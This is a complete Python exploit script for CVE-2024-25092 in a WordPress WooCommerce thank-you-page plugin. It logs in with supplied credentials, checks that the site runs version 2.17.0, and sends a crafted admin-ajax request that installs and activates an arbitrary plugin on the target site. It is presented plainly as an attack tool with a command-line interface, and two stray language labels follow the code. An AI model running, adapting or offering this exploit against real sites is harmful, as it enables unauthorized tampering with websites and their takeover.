import requests
import argparse
#Exploit script for CVE-2024-25092 By Nxploit Khaled Alenazi.
def login(session, url, username, password, user_agent):
login_url = url + '/wp-login.php'
response = session.post(login_url, verify=False, data={
'log': username,
'pwd': password,
'rememberme': 'forever',
'wp-submit': 'Log+In'
}, headers={"User-Agent": user_agent})
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("Logged in successfully.")
else:
print("Failed to log in.")
exit()
def check_version(session, url, user_agent):
version_url = url + '/wp-content/plugins/woo-thank-you-page-nextmove-lite/readme.txt'
response = session.get(version_url, verify=False, headers={"User-Agent": user_agent})
if response.status_code == 200:
if 'Stable tag: 2.17.0' in response.text:
print("Site is vulnerable... Exploiting and uploading plugin")
else:
print("Site is not vulnerable.")
exit()
else:
print("Failed to check version.")
exit()
def install_plugin(session, url, plugin, user_agent):
exploit_url = url + '/wp-admin/admin-ajax.php'
exploit_data = {
'action': 'xl_addon_installation',
'xl_slug': plugin,
'xl_file': '/plugin.php'
}
headers = {
"User-Agent": user_agent,
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Referer": url + '/wp-admin/admin.php?page=xl-cart',
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": url,
"Connection": "keep-alive",
"Cookie": '; '.join([f"{cookie.name}={cookie.value}" for cookie in session.cookies])
}
response = session.post(exploit_url, data=exploit_data, headers=headers, verify=False)
if response.status_code == 200:
print(f"Plugin '{plugin}' installed and activated successfully.")
else:
print("Failed to upload plugin.")
def main():
parser = argparse.ArgumentParser(description='Exploit script for CVE-2024-25092 By Nxploit Khaled Alenazi. ')
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-un', '--username', required=True, help='Username')
parser.add_argument('-p', '--password', required=True, help='Password')
parser.add_argument('-pl', '--plugin', default='cart-for-woocommerce', help='Plugin to install (default: cart-for-woocommerce)')
args = parser.parse_args()
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
login(session, args.url, args.username, args.password, user_agent)
check_version(session, args.url, user_agent)
install_plugin(session, args.url, args.plugin, user_agent)
if __name__ == "__main__":
main()
Polish
English